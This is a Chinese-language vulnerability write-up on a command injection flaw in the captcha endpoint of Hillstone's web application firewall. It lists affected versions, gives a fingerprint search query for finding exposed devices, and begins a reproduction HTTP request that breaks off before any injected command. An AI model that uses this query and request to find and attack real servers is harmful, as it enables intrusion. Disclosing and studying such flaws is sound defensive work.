山石网科应用防火墙WAF命令注入

0x01 漏洞描述：

山石网科 Web 应用防火墙（WAF）是专业智能的Web 应用安全防护产品，在Web资产发现、漏洞评估、流量学习、威胁定位等方面全面应用智能分析和语义分析技术，帮助用户轻松应对应用层风险，确保网站全天候的安全运营。

在WAF的验证码页面，存在命令注入漏洞，恶意攻击者可通过构造恶意请求，拼接命令执行任意代码，控制服务器。

0x02 影响版本：

5.5R6-2.6.7~5.5R6-2.8.13

0x03 搜索语句：

icon_hash="-839455805"

0x04 漏洞复现：

GET /rest/captcha HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Accept-Encoding: gzip, deflateAccept: */*Connect